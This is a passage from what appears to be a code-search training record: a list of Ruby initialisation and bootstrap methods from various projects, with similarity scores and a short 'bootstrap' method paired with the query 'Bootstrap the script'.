puts \"\\e[31mERROR\\e[0m: No config file given...\" + e\n puts \"--------------------------------------------\"\n raise\n end\n end", "def initialize_modules\n # NOTE: this gets called after all the module initializers complete\n end", "def auto_init_new_curriculum_core!\n self.auto_init_new_curriculum_core = true\n end", "def init_core_config(the_config)\n if the_config.nil?\n @config = Lorj::Config.new\n Lorj.debug(2, 'Using an internal Lorj::Config object.')\n else\n @config = the_config\n end\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end", "def Init()\n end", "def init\n @init.call if @init\n end", "def init\n Runner.in_shell = true\n Command.all_option_commands = true if @options[:option_commands]\n super\n Index.update(:verbose=>true, :libraries=>@options[:index]) if @options.key?(:index)\n if @options[:load]\n Manager.load @options[:load], load_options\n elsif @options[:execute]\n define_autoloader\n else\n load_command_by_index\n end\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def setup_context\n self['console'] = Console.new\n load RUNTIME_PATH\n\n opal = self['opal']\n opal['loader'] = Loader.new opal, self\n opal['fs'] = FileSystem.new opal, self\n opal['platform']['engine'] = 'opal-gem'\n\n # eval \"opal.require('core');\", \"(opal)\"\n require_file 'core'\n end", "def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end", "def pre_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to pre_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end", "def init!\n @logger = @config = @database_config = nil\n\n load_application_config\n load_database_config\n note \"Loading #{env} environment (#{Ajaila::VERSION})\"\n load_classes\n note \"Establishing database connection\"\n establish_database_connection\n note \"Running auto-upgrade migrations\"\n run_auto_upgrade_migrations\n note \"Application has been initialized\"\n self\n end", "def initialize_core\n @triggered = []\n @events = Hash.new { |h,k| h[k.to_sym] = [] }\n\n # initialize some instance variables; we won't use them until we dup to\n # process a request.\n @request = nil\n @response = nil\n @original_request = nil\n @original_response = nil\n @entry = nil\n end", "def initialize\n super\n \n run_hook :before_configuration\n \n # Search the root of the project for required files\n $LOAD_PATH.unshift(root)\n \n # Check for and evaluate local configuration\n local_config = File.join(root, \"config.rb\")\n if File.exists? local_config\n puts \"== Reading: Local config\" if logging?\n instance_eval File.read(local_config)\n end\n \n run_hook :build_config if build?\n run_hook :development_config if development?\n \n run_hook :after_configuration\n \n # Add in defaults\n default_extensions.each do |ext|\n activate ext\n end\n \n if logging?\n self.class.extensions.each do |ext|\n puts \"== Extension: #{ext}\"\n end\n end\n end", "def start\n\t\tinit\n\t end", "def init\n\n end", "def init; end", "def initialize\n init\n end", "def initialize(&block)\n self.class.inst = self\n\n # Search the root of the project for required files\n $LOAD_PATH.unshift(root) unless $LOAD_PATH.include?(root)\n\n super\n\n ::Middleman::Extension.clear_after_extension_callbacks\n\n ::Middleman::Extensions.auto_activate(:before_configuration, self)\n\n if config[:autoload_sprockets]\n begin\n require 'middleman-sprockets'\n activate :sprockets\n rescue LoadError\n # It's OK if somebody is using middleman-core without middleman-sprockets\n end\n end\n\n run_hook :initialized\n\n run_hook :before_configuration\n\n # Evaluate a passed block if given\n config_context.instance_exec(&block) if block_given?\n\n # Check for and evaluate local configuration in `config.rb`\n local_config = File.join(root, 'config.rb')\n if File.exist? local_config\n logger.debug '== Reading: Local config'\n config_context.instance_eval File.read(local_config), local_config, 1\n end\n\n env_config = File.join(root, 'environments', \"#{config[:environment]}.rb\")\n if File.exist? env_config\n logger.debug \"== Reading: #{config[:environment]} config\"\n config_context.instance_eval File.read(env_config), env_config, 1\n end\n\n config_context.execute_configure_callbacks(config[:environment])\n\n run_hook :instance_available\n\n # This is for making the tests work - since the tests\n # don't completely reload middleman, I18n.load_path can get\n # polluted with paths from other test app directories that don't\n # exist anymore.\n if ENV['TEST']\n ::I18n.load_path.delete_if { |path| path =~ %r{tmp/aruba} }\n ::I18n.reload!\n end\n\n run_hook :after_configuration\n config_context.execute_after_configuration_callbacks\n\n extension_instances = []\n logger.debug 'Loaded extensions:'\n extensions.each do |ext_name, ext|\n if ext.is_a?(Hash)\n ext.each do |instance_key, instance|\n logger.debug \"== Extension: #{ext_name} #{instance_key}\"\n extension_instances << instance\n end\n else\n logger.debug \"== Extension: #{ext_name}\"\n extension_instances << ext\n end\n end\n\n extension_instances.each do |ext|\n # Forward Extension helpers to TemplateContext\n Array(ext.class.defined_helpers).each do |m|\n @template_context_class.send(:include, m)\n end\n\n ::Middleman::Extension.activated_extension(ext)\n end\n end", "def run_init_script; end", "def init\n\nend", "def setup\n # noop\n end", "def startup\n end", "def init_foundation\n @init_foundation ||= false\n end", "def initialize(*args, &blk)\n setup(*args, &blk)\n end", "def auto_initialize!\n # noop by default\n end", "def init\n self['env'] ||= 'development'\n\n n = (self['port'] || 3000).to_i\n assert n >= 0 && n <= 65535\n self['port'] = n\n\n n = (self['workers'] || self['worker'] || ((CpuCounter.count + 1)/ 2)).to_i\n assert n > 0 && n < 1000\n self['workers'] = n\n\n unless self['root']\n set :root, Dir.pwd\n end\n self['root'] = File.realpath File.expand_path self['root']\n\n # todo warn paths not under project?\n self['views'] = project_path(self['views'] || 'views')\n if self['public']\n self['public'] = project_path(self['public'])\n end\n\n if self['assets']\n self['assets'] = project_path(self['assets'])\n end\n\n self.logger = create_logger\n\n assert !self['before_fork'] || self['before_fork'].respond_to?('call')\n assert !self['after_fork'] || self['after_fork'].respond_to?('call')\n\n self['timeout'] ||= 120\n timeout = self['timeout'].to_i\n assert timeout > 0 && timeout < 2**30\n self['timeout'] = timeout\n Ext.set_inactive_timeout timeout\n end", "def initialize(...)\n super\n mon_initialize\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def core(&block)\n Loquacious::Configuration.for :core, &block\n end", "def start\n super\n $log.debug \"initialized for moogaiops\"\n end", "def init_ext()\n \n end", "def do_initialize\n begin\n Puppet.initialize_settings\n Puppet[:parser] = 'future' # this is required in order to work with puppet 3.8\n Puppet[:trusted_node_data] = true\n rescue ArgumentError => e\n\n rescue Puppet::DevError => e\n # do nothing otherwise calling init twice raises an error\n end\n end", "def at_init\n\n\t\tend", "def initialize_environment\n end", "def initialize_environment\n end", "def init_core_game(options)\r\n if options[:netowk_core_game]\r\n # we are on network game, use NAL class for core game\r\n @core_game = options[:netowk_core_game]\r\n @core_game.set_custom_core( create_instance_core() )\r\n @core_game.custom_core.create_deck\r\n @log.debug \"using network core game\"\r\n elsif options[:custom_deck]\r\n @core_game = create_instance_core()\r\n @log.debug \"using local cpu core CUSTOM deck\"\r\n @core_game.rnd_mgr = options[:custom_deck][:deck]\r\n # say to the core we need to use a custom deck\r\n @core_game.game_opt[:replay_game] = true \r\n else\r\n # local game\r\n @core_game = create_instance_core()\r\n @core_game.set_specific_options(options)\r\n @log.debug \"using local cpu core\"\r\n @mnu_salva_part.enable if @mnu_salva_part\r\n end\r\n end", "def init_core_folder\n copy_file('_core/vendor/vue.js', src_vendor_path('vue.js'))\n copy_file('_core/vendor/vue.dev.js', src_vendor_path('vue.dev.js'))\n copy_file(\n '_core/vendor/vue_router.js',\n src_vendor_path('vue_router.js')\n )\n end", "def user_init; end", "def startup\nend", "def load_saf_core\r\n # Load the ruby files for the SA Framework core (Should this be before we\r\n # load the project env.rb?\r\n load_directory(File.join(SAF::LIB, 'base'), false)\r\n require_relative(File.join(SAF::LIB, \"utilities\", \"passwords.rb\"))\r\n require_relative(File.join(SAF::LIB, \"errors\", \"wrapper_error.rb\"))\r\n load_directory(File.join(SAF::LIB, 'errors'), false)\r\n\r\n # Load rspec matchers\r\n load_directory(File.join(SAF::ROOT, \"spec\", \"support\", \"matchers\"))\r\n\r\n # Load gem config ruby\r\n require_relative(File.join(SAF::LIB, \"config\", \"gem_configuration.rb\"))\r\n end", "def initialize\n # Load the setup settings and any user overrides.\n @settings = Configuration::CombinedConfiguration.new\n @settings.load_configuration('default', 'Configuration/setup.yaml')\n @settings.load_configuration('user', 'Configuration/user.yaml')\n\n @ruby_bin = RbConfig::CONFIG['bindir']\n @install_flag = \".bundle/#{RUBY_VERSION}_#{ruby_platform}.flag\"\n\n # The timestamp values - the installer is run depending on these values.\n @t1 = UserSettings.last_modify_date.to_i\n @t2 = File.mtime('Gemfile').to_i\n\n @gem_path = File.join(@settings['setup.gem_path'], ruby_platform)\n @mysql_dir = File.join(FRAMEWORK_ROOT, \"#{LIB_DIR}/mysql/#{ruby_platform}\")\n\n runtime.save(:ruby_bin, @ruby_bin)\n runtime.save(:gem_path, @gem_path)\n runtime.save(:mysql_dir, @mysql_dir)\n runtime.save(:setup_settings, @settings)\n end", "def driver_initialize\n\t\t#Driver initialization happens here.\n\t\tdriver = Driver::new\n\t\tdriver.seed = rand(100)\n\t\tdriver.my_initialize\n\t\tdriver\n\tend", "def initialize\n\tinit\n\tsuper\nend", "def initialize\n puts \"constructor is automatically called when we create object\"\n end", "def initialize\n # Create temporary data directory\n create_data_dir\n\n # Init connection to ADS\n init_ads\n\n # Initialize Data science toolkit\n init_dstk\n\n # Init connection to SQLite\n # init_sqlite3\n end", "def initialize() end", "def initialize(programTree, bits)\n @layer = 0\n @program = programTree\n @bits = bits\n @blockHandle = {}\n # On initialize, setup the layers and top level.\n genStartup\n # Continue with genCode to loop until finished.\n genCurrentLayer\n end", "def _init(explaination='no explaination given', initial_debug_state = $DEBUG_INIT)\n $RELOAD_DEBUG = false # \n deb \"pre init '#{explaination}'\" if $RELOAD_DEBUG\n $INIT_DEBUG = false # dice se debuggare la mia intera infrastruttura o no...\n $RELOADED_ONCE = 0 # aiuta a capuire quante volte includo sta cazo di lib! Sempre 2!!!\n $RIC_LIB_MODULES = %w{ classes/debug_ric } # to be explicitly included in this order.\n $HOME = File.expand_path('~')\n $DEBUG ||= initial_debug_state \n $PROG = File.basename($0)\n case $PROG\n when 'irb'\n print \"[DEB] Welcome to Sakura within IRB! Happy playing. Try 'Sakuric.VERSION'\"\n when 'ruby'\n print \"[DEB] Welcome to Sakura within RUBY! Happy playing. Try 'Sakuric.VERSION'\"\n default\n # do nothing\n end\n \n ################################################################################\t\n # Path to riccardo's Library... Library stuff\n $LOAD_PATH << './lib' \n $LOAD_PATH << \"#{$SAKURADIR}/lib/\"\n\n # BEWARE: ORDER *IS* RELEVANT!\n $RICLIB = Hash.new unless defined?($RICLIB)\n $RICLIB['VERSION'] = $RICLIB_VERSION\n $RICLIB['libs'] ||= []\n $RICLIB['nreloaded'] ||= 0\n $RICLIB['nreloaded'] += 1 \n $RICLIB['help'] =<<-BURIDONE\nThis library contains all my enciclopedic knowledge (that is, notionistic). :\nFinally solved the bug of double inclusion (crisbio, files included this!)\nBURIDONE\n\n load_sakura_modules!(initial_debug_state)\n $CONF = RicConf.new()\n pyellow($CONF.info()) if debug?() \n puts \"post init delle #{Time.now}\" if $RELOAD_DEBUG\n print \"Sakuric.n_called(): #{ Sakuric.n_called() }\"\nend", "def initialize_engine\n\t\t\t\tsuper unless self.class.superclass.engine_initialized?\n\n\t\t\t\tif Sassc.add_sass_functions != false\n\t\t\t\t\t# begin\n\t\t\t\t\t# \trequire 'sprockets/helpers'\n\t\t\t\t\t\trequire 'sprockets/sassc/functions'\n\t\t\t\t\t# rescue LoadError; end\n\t\t\t\tend\n\n\t\t\t\tself.class.sass_functions_initialized = true\n\t\t\tend", "def initialize(*args)\n super\n mon_initialize\n end", "def set_custom_core(core)\n @log.debug \"Setting custom core\"\n @custom_core = core\n end", "def pre_run_initialize\n @evaluator = @evaluator_class.new(self) if @evaluator.nil?\n @evolver = @evolver_class.new(self) if @evolver.nil?\n end", "def initialize_core_object(model)\n ensure_class_exist(model[:process_class_name])\n\n # Ex: Hpcloud(ForjAccount, HpcloudProvider)\n def_class = model[:def_class]\n if model[:controller_class]\n @core_object = def_class.new(@config,\n model[:process_class].new,\n model[:controller_class].new)\n else\n @core_object = def_class.new(@config,\n model[:process_class].new)\n end\n end", "def initialize()\n\tend", "def initialize()\n\tend", "def do_initialize\n Puppet.initialize_settings\n Puppet[:parser] = 'future' # this is required in order to work with puppet 3.8\n Puppet[:trusted_node_data] = true\n rescue ArgumentError => e\n rescue Puppet::DevError => e\n # do nothing otherwise calling init twice raises an error\n end", "def boot_classes!\n # very fiddly chicken 'n egg problem. Functions need to be in the right order, and in fact we have to define some \n # dummies, just for the other to compile\n obj = get_or_create_class :Object\n [:index_of , :_get_instance_variable , :_set_instance_variable].each do |f|\n obj.add_instance_method Builtin::Object.send(f , @context)\n end\n obj = get_or_create_class :Kernel\n # create main first, __init__ calls it\n @main = Builtin::Kernel.send(:main , @context)\n obj.add_instance_method @main\n underscore_init = Builtin::Kernel.send(:__init__ , @context) #store , so we don't have to resolve it below\n obj.add_instance_method underscore_init\n [:putstring,:exit,:__send].each do |f|\n obj.add_instance_method Builtin::Kernel.send(f , @context)\n end\n # and the @init block in turn _jumps_ to __init__\n # the point of which is that by the time main executes, all is \"normal\"\n @init = Virtual::Block.new(:_init_ , nil )\n @init.add_code(Register::RegisterMain.new(underscore_init))\n obj = get_or_create_class :Integer\n [:putint,:fibo].each do |f|\n obj.add_instance_method Builtin::Integer.send(f , @context)\n end\n obj = get_or_create_class :String\n [:get , :set , :puts].each do |f|\n obj.add_instance_method Builtin::String.send(f , @context)\n end\n obj = get_or_create_class :Array\n [:get , :set , :push].each do |f|\n obj.add_instance_method Builtin::Array.send(f , @context)\n end\n end", "def initialize\n require 'zmq'\n super\n end", "def pre_initialize; end", "def init\n return unless @context.nil?\n\n $stdout.puts('Loading JARs...')\n\n load_jar_files\n\n $stdout.puts(\"Loading #{@dspace_cfg}...\")\n org.dspace.core.ConfigurationManager.load_config(@dspace_cfg)\n\n kernel_impl = org.dspace.servicemanager.DSpaceKernelInit.get_kernel(nil)\n unless kernel_impl.is_running\n $stdout.puts('Starting new DSpaceKernel...')\n kernel_impl.start(@dspace_dir)\n end\n @kernel = kernel_impl\n\n @context = org.dspace.core.Context.new\n end", "def before_initialize(&block); end", "def pre_initialize\n end", "def core_root; end", "def initialize!\n return false if initialized? || Jun.application.nil?\n\n # Add app/* directories to autoload paths.\n Jun::ActiveSupport::Dependencies.autoload_paths += Jun.root.join(\"app\").children\n\n # Set up routes and make its helpers available to controllers & views.\n require Jun.root.join(\"config/routes.rb\")\n url_helpers = Jun.application.routes.url_helpers\n Jun::ActionController::Base.include(url_helpers)\n Jun::ActionView::Base.include(url_helpers)\n\n # Include all helpers in app/helpers directory.\n Dir.glob(Jun.root.join(\"app/helpers/**/*.rb\")).each do |filepath|\n helper_class_name = File.basename(filepath, \".rb\").camelize\n helper_class = Object.const_get(helper_class_name)\n\n Jun::ActionView::Base.include(helper_class)\n end\n\n @initialized = true\n end", "def initialize()\n\t\tend", "def initialize_classes_and_modules\n @classes = {}\n @modules = {}\n end", "def initialize()\n end", "def init\n fname = path(\"init.rb\")\n load fname unless fname.nil?\n end", "def post_init\n end", "def initialize\n super\n\t \n require 'base64'\n require 'digest'\n require 'json'\n require 'net/http'\n require 'net/https'\n require 'openssl'\n require 'rexml/document'\n require 'securerandom'\n require 'socket'\n require 'uri'\n require_relative 'omslog'\n require_relative 'oms_configuration'\n require_relative 'oms_common'\n end", "def initialize\n @allocations = {}\n @http_server = BeEF::Core::Server.instance\n @root_dir = File.expand_path('../../../../', __FILE__)\n end", "def before_setup\n # do nothing by default\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def initialize_engine\n super unless self.class.superclass.engine_initialized?\n \n if Less.add_less_functions\n require 'sprockets/less/functions'\n end\n end", "def pre_init(&block)\n @hooks[:pre_init] = block\n end", "def init\n Config.load_yaml\n Log.init\n reset\n end", "def start\n _bootstrap!\n self.started = true\n end", "def initialize\n set_config\n end", "def initialize(framework)\n\t\tself.framework = framework\n\t\tself.monitor = spawn_monitor\n\tend", "def initialize\n #load_config\n load_routes\n end", "def initialize()\r\n\r\n end", "def init!\n # check if configuration file is already created\n unless File.exist?(CONFIG_FILE)\n puts \"=> [PagSeguro] The configuration could not be found at #{CONFIG_FILE.inspect}\"\n return\n end\n \n # The developer mode is enabled? So install it!\n developer_mode_install! if developer?\n end" ]
[ "0.7097784", "0.6618115", "0.6612791", "0.6554115", "0.6501738", "0.64016485", "0.63797", "0.63797", "0.63797", "0.63034135", "0.628286", "0.62816787", "0.6265653", "0.6258234", "0.6258234", "0.6258234", "0.6258234", "0.6242305", "0.6233969", "0.62142015", "0.6209959", "0.6201027", "0.6201027", "0.619942", "0.6186582", "0.6184066", "0.61536115", "0.61382604", "0.6135978", "0.61208534", "0.60989124", "0.6071199", "0.6057341", "0.60402405", "0.6032631", "0.60212994", "0.5984395", "0.594316", "0.5928959", "0.5923322", "0.5918909", "0.5909792", "0.5908889", "0.59028333", "0.59028333", "0.59028333", "0.58897495", "0.58894116", "0.5877093", "0.58679163", "0.5866079", "0.5857607", "0.5857607", "0.5855374", "0.58537245", "0.5840086", "0.58357805", "0.58342457", "0.5817594", "0.57945627", "0.5789154", "0.5769931", "0.57685626", "0.57619876", "0.5754259", "0.5747018", "0.574323", "0.572682", "0.571343", "0.57114255", "0.57011735", "0.5696312", "0.5696312", "0.56909245", "0.5687037", "0.56858903", "0.5685513", "0.5683042", "0.56780535", "0.5677823", "0.5672436", "0.5668038", "0.5666146", "0.56570876", "0.56547993", "0.5647815", "0.5641911", "0.5641025", "0.56345993", "0.5628683", "0.5627016", "0.5627016", "0.56230325", "0.56182057", "0.5611886", "0.5609135", "0.5605492", "0.56039876", "0.5602221", "0.5599892", "0.55993" ]
0.0
-1
Bootstrap the script, getting it all up and running.
def bootstrap establish_connection() load_robot() yield(self) if block_given? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bootstrap!\n @bootstrapped = false\n bootstrap\n end", "def bootstrap_init\n end", "def bootstrap!\n reset!\n require_relative 'kernel'\n end", "def bootup\n Merb.trap(\"TERM\") { shutdown }\n\n Merb.logger.warn! \"Running bootloaders...\" if Merb::Config[:verbose]\n BootLoader.run\n Merb.logger.warn! \"Starting Rack adapter...\" if Merb::Config[:verbose]\n Merb.adapter.start(Merb::Config.to_hash)\n end", "def bootstrap!\n reset!\n require_relative 'kernel'\n end", "def boot\n Rucola::Plugin.before_boot\n do_boot\n Rucola::Plugin.after_boot\n end", "def bootstrap_server\n bootstrap_config\n\n bootstrap_init\n bootstrap_run\n bootstrap_cleanup\n rescue Hazetug::Exception => e\n ui.error(e.message); 1\n ensure \n knife and knife.ui.stdout.close\n end", "def run\n raise \"Invalid Bootstrapper\"\n end", "def boot!\n adjust_load_path\n adjust_gem_path\n ENV['RACK_ENV'] = rack_env\n change_working_directory\n export_global_settings\n load_settings_from_init_rb\n set_relative_url_root\n run_boot_hooks\n self\n end", "def bootstrap\n @commands += [\n \"export HOME=`pwd`\" ,\"\\n\",\n \"wget --no-check-certificate https://raw.githubusercontent.com/bcwik9/ScriptsNStuff/master/setup_dev_server.sh && bash setup_dev_server.sh\", \"\\n\"\n ]\n end", "def run_bootstrap\n bootstrap = File.join(@manifest_path, UP_DIRNAME, BOOTSTRAP_FILENAME)\n execute_migration('bootstrap.sql', bootstrap)\n end", "def bootstrap\n commit_stage\n process_service_queue\n\n try_console\n end", "def run_init_script; end", "def start\n _bootstrap!\n self.started = true\n end", "def do_boot\n Kernel.require Rucola::RCApp.root_path + '/config/boot'\n end", "def bootstrap!(opts={})\n callback :before_bootstrap\n if !bootstrapped? || opts[:force]\n old_user = user\n @user = \"root\"\n opts[:os] ||= os || determine_os\n if cloud && cloud.bootstrap_script\n opts[:filename] = cloud.bootstrap_script\n end\n script_file = Provision::Bootstrapper.bootstrap_script(opts)\n scp(:source => script_file, :destination => \"/tmp\")\n output = run(\"chmod +x /tmp/determine_os.sh; /bin/sh /tmp/#{File.basename(script_file)}\")\n @user = old_user\n output.chomp if output\n end\n callback :after_bootstrap\n end", "def boot\n Thread.new do\n sleep 1 until EM.reactor_running?\n\n begin\n log.info \"Loading application...\"\n app_init\n load_settings\n Fastr::Plugin.load(self)\n load_app_classes\n setup_router\n setup_watcher unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/\n\n log.info \"Application loaded successfully.\"\n\n @booting = false\n\n plugin_after_boot\n rescue Exception => e\n log.error \"#{e}\"\n puts e.backtrace\n log.fatal \"Exiting due to previous errors...\"\n exit(1)\n end\n end\n end", "def rails_bootstrap\n rake 'moonshine:bootstrap',\n :alias => 'rails_bootstrap',\n :refreshonly => true\n end", "def bootstrap\n ssh_exec <<-SCRIPT\n if [[ -s \"$HOME/.rvm/scripts/rvm\" ]] ; then\n source \"$HOME/.rvm/scripts/rvm\"\n alias sudo=rvmsudo\n which ruby ||\n rvm install 1.9.3\n elif [[ -s \"/usr/local/rvm/scripts/rvm\" ]] ; then\n source \"/usr/local/rvm/scripts/rvm\"\n alias sudo=rvmsudo\n which ruby ||\n rvm install 1.9.3\n else\n dpkg --status ruby1.9.3 > /dev/null ||\n (time sudo apt-get update &&\n time sudo apt-get install ruby1.9.3 -y)\n fi\n\n dpkg --status avahi-daemon > /dev/null ||\n (time sudo apt-get update &&\n time sudo apt-get install \\\n avahi-daemon libavahi-compat-libdnssd-dev -y &&\n time sudo insserv avahi-daemon)\n\n if ! which whipped-cream; then\n if [ -d /tmp/pkg ]; then\n find /tmp/pkg | tail -n 1 | xargs -I {} \\\n sudo gem install {} --no-ri --no-rdoc\n else\n time sudo gem install whipped-cream --no-ri --no-rdoc --pre\n fi\n fi\n\n mkdir -p ~/whipped-cream/\n SCRIPT\n end", "def bootstrap\n Dir.chdir(ROOT) do\n system(\"npm run bootstrap\")\n system(\"npm run build\")\n end\nend", "def bootstrap\n if bootstrapped?\n stderr.puts \"Already bootstrapped!\"\n return\n end\n stderr.puts \"Bootstrapping #{helper_file}.\"\n contents = File.read(helper_file)\n bootstrap_code = File.read(BOOTSTRAP_FILE)\n File.open(helper_file, \"wb\") do |f|\n f.puts bootstrap_code\n f.puts contents\n end\n\n stderr.puts \"Done. Edit #{helper_file} now with your favorite text editor and follow the instructions.\"\n true\n end", "def bootstrap\n unless @bootstrapped\n install_solr_home\n @bootstrapped = true\n end\n end", "def bootstrap_for_rails\n set_STREAMLINED_RAILS_ROOT\n add_require_line_to_environment_file\n end", "def after_bootstrap\n end", "def bootstrap_run\n knife.name_args = [config[:public_ip_address]]\n knife.run\n end", "def start\n require 'irbtools'\n end", "def bootstrap\n unless @roles.nil? || @roles.empty? || platform == 'alpine'\n if platform =~ /(debian|ubuntu)/\n container.exec(['sh', '-c', 'apt-get-min update']) do |_, chunk|\n puts \"#{fqdn.purple}: #{chunk}\"\n end\n end\n system \"knife bootstrap #{@fqdn} -x kitchen -N #{@name} \" \\\n \"-r '#{@roles.join(', ')}' --sudo\"\n end\n self\n end", "def boot(options={})\n Jets::Booter.boot!(options)\n end", "def boot\n runcmd 'boot'\n end", "def before_bootstrap; end", "def common_bootstrap\n # postgresql package install starts postgresql, so stop it\n rsudo \"#{rubber_env.postgresql_ctl} stop\" rescue nil\n\n # After everything installed on machines, we need the source tree\n # on hosts in order to run rubber:config for bootstrapping the db\n rubber.update_code_for_bootstrap\n\n # Gen just the conf for the given postgresql role\n rubber.run_config(:file => \"role/(db|postgresql)/\", :force => true, :deploy_path => release_path)\n\n # reconfigure postgresql so that it sets up data dir in /mnt with correct files\n dirs = [rubber_env.postgresql_data_dir, rubber_env.postgresql_archive_dir]\n sudo_script 'reconfigure-postgresql', <<-ENDSCRIPT\n mkdir -p #{dirs.join(' ')}\n chown -R postgres:postgres #{dirs.join(' ')}\n chmod 700 #{rubber_env.postgresql_data_dir}\n ENDSCRIPT\n end", "def bootstrap\n STDERR.puts \"My oauth authorization URL is: #{@bot.invite_url}\"\n load_plugins\n end", "def main\n puts 'Ruby bootstrap...'\n puts 'Check sqlite3'\n if system('sqlite3 --version')\n puts 'Ok'\n else\n puts 'Ko: sqlite3 is required'\n puts 'https://guides.rubyonrails.org/getting_started.html'\n exit 1\n end\n\n puts 'Update Ruby gem manager'\n system('gem update --system')\n\n puts 'Install bundler'\n system('gem install bundler')\n\n puts 'Install rails'\n system('gem install rails')\n system('rails --version')\nend", "def start!\n verbose('Starting...')\n\n process_kaizen_archive(\n save_to_tempfile('https://codeload.github.com/Wixel/Kaizen/zip/master')\n )\n\n process_normalize_archive(\n save_to_tempfile('https://codeload.github.com/necolas/normalize.css/zip/master')\n )\n\n install_bourbon!\n end", "def bootstrap!\n Sidekiq.redis do |conn|\n digest = conn.script(LOAD, @source)\n\n # XXX: this may happen **ONLY** if script digesting will be\n # changed in redis, which is not likely gonna happen.\n unless @digest == digest\n if @logger\n @logger.warn \"Unexpected script SHA1 digest: \" \\\n \"#{digest.inspect} (expected: #{@digest.inspect})\"\n end\n\n @digest = digest.freeze\n end\n end\n end", "def initial_setup\n # Copy across the application_record_loader.rb unless it already exists\n copy_file '../static_files/application_record_loader.rb',\n 'lib/record_loader/application_record_loader.rb',\n skip: true\n # Copy across the record_loader.rake unless it already exists\n copy_file '../static_files/record_loader.rake',\n 'lib/tasks/record_loader.rake',\n skip: true\n end", "def before_bootstrap\n end", "def setup!\n drb_input!\n drb_retrieve_output!\n drb_store_output!\n drb_restart!\n drb_start!\n drb_status!\n drb_stop!\n end", "def require_bootsnap\n inject_into_file 'config/boot.rb', after: \"require 'bundler/setup' # Set up gems listed in the Gemfile.\\n\" do\n \"require 'bootsnap/setup'\\n\"\n end\n end", "def bootstrap(ssh_url)\n server = Chaos::Server.new ssh_url\n\n display_ \"Bootstrapping #{server}...\", :topic\n server.bootstrap\n\n display_ \"Update the system...\", :topic\n server.system_update true\n\n display_ \"Configure services using Chef...\", :topic\n server.register_server_roles options[:roles]\n server.run_chef true\n\n user = ENV['USER']\n display_ \"Register git user '#{user}'...\", :topic\n server.register_git_user user\n\n display_ \"Done.\", :topic\n display_ \"Default passwords set for admin users by chef is their user names.\"\n display_ \"Connect to the server to change it ('ssh #{server}') before doing anything else.\"\n end", "def init_skeleton_files\n puts \"Site name is #{@site_name}\"\n \n puts \"Copying bootstrap files into site assets folder...\"\n\n img_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/images\"\n `mkdir -p #{img_folder}` if !File.exists?(img_folder)\n icons_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/images/icons\"\n `mkdir -p #{icons_folder}` if !File.exists?(icons_folder)\n fonts_folder = \"#{Caboose::site_assets_path}/#{@site_name_slug}/fonts\"\n `mkdir -p #{fonts_folder}` if !File.exists?(fonts_folder)\n\n str = `find #{Rails.root}/bootstrap -type file`\n x = \"#{Rails.root}/bootstrap\".length + 1\n str.strip.split(\"\\n\").each do |file|\n next if file.ends_with?('.DS_Store')\n next if !@store && (file.include?('product') || file.include?('search_results')) \n next if !@mls && file.include?('rets')\n\n file2 = \"#{Caboose::site_assets_path}/#{@site_name_slug}/#{file[x..-1]}\"\n file2 = file2.gsub('sitename',@site_name_slug)\n\n folder = File.dirname(file2) \n `mkdir -p #{folder}` if !File.exists?(folder)\n `cp #{file} #{file2}` if !File.exists?(file2)\n \n next if !['.erb', '.css', '.js', '.scss'].include?(File.extname(file)) \n \n f = File.open(file2, 'rb')\n str = f.read\n f.close\n if !@store\n str.gsub!('@import \"|SITE_SLUG|/css/pages/products\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/product_details\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/product_index\";','')\n str.gsub!('//= require |SITE_SLUG|/js/products','')\n end\n if !@mls\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_details\";','')\n str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_index\";','')\n str.gsub!(\"//= require |SITE_SLUG|/js/functions_rets\",\"\")\n str.gsub!(\"//= require photoswipe\",\"\")\n str.gsub!(\"//= require photoswipe_ui\",\"\")\n str.gsub!(\" *= require photoswipe\",\"\")\n str.gsub!(\" *= require photoswipe_skin\",\"\")\n str.gsub!(\"_skin\",\"\")\n str.gsub!(\"_ui\",\"\")\n end\n str.gsub!(\"|SITE_SLUG|\",@site_name_slug)\n str.gsub!(\"|SITE_NAME|\",@site_name) \n File.open(file2, 'w') { |f| f.write(str) } \n end\n \n puts \"Moving block files out of site assets folder...\" \n if !File.exists?(\"#{Rails.root}/app/views/caboose/blocks/#{@site_name_slug}\")\n `mv #{Caboose::site_assets_path}/#{@site_name_slug}/blocks #{Rails.root}/app/views/caboose/blocks/#{@site_name_slug}`\n else\n `rm -rf #{Caboose::site_assets_path}/#{@site_name_slug}/blocks` \n end\n \n #Find.find(skeleton_root).each do |file| \n # next if File.directory?(file)\n # next if !@store && (file.include?('product') || file.include?('search_results'))\n # next if !@mls && file.include?('rets')\n # next if file.include?(\".DS_Store\")\n # file2 = file.gsub(skeleton_root, '').gsub(\"sitename\",@site_name_slug)\n # file2 = \"#{Caboose::site_assets_path}/#{@site_name_slug}/#{file2}\"\n #\n # FileUtils.cp(file, file2)\n # \n # #Replace any variables\n # if File.extname(file2) == \".erb\" || File.extname(file2) == \".css\" || File.extname(file2) == \".js\" || File.extname(file2) == \".scss\"\n # f = File.open(file2, 'rb')\n # str = f.read\n # f.close\n # if !@store\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/products\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/product_details\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/product_index\";','')\n # str.gsub!('//= require |SITE_SLUG|/js/products','')\n # end\n # if !@mls\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/rets\";','')\n # str.gsub!('@import 